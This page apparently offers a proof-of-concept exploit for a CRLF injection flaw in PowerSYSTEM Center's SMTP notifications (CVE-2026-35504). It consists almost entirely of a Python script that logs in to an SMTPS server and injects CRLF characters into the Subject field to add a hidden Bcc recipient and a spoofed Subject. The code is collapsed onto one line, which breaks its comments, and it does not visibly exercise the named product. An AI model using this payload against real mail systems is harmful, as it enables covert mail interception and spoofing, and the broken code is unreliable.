CVE-2026-35504: PowerSYSTEM Center CRLF注入漏洞

import smtplib # PoC for CRLF Injection in SMTP Notification Service # Target: PowerSYSTEM Center (CVE-2026-35504) def send_crlf_payload(target_server, port, sender, recipient, username, password): try: # Connect to the SMTPS server server = smtplib.SMTP_SSL(target_server, port) server.login(username, password) # Malicious payload injecting CRLF characters to break SMTP header # Example: Injecting a custom 'Subject' or 'Bcc' header malicious_subject = "Original Subject\r\nBcc: [email protected]\r\nSubject: Spoofed" message = f"""From: {sender} To: {recipient} Subject: {malicious_subject} This is a test body.""" server.sendmail(sender, recipient, message) server.quit() print("[*] Payload sent successfully.") except Exception as e: print(f"[!] Error: {e}") # Usage simulation # send_crlf_payload('smtp.target.com', 465, '[email protected]', '[email protected]', 'user', 'pass')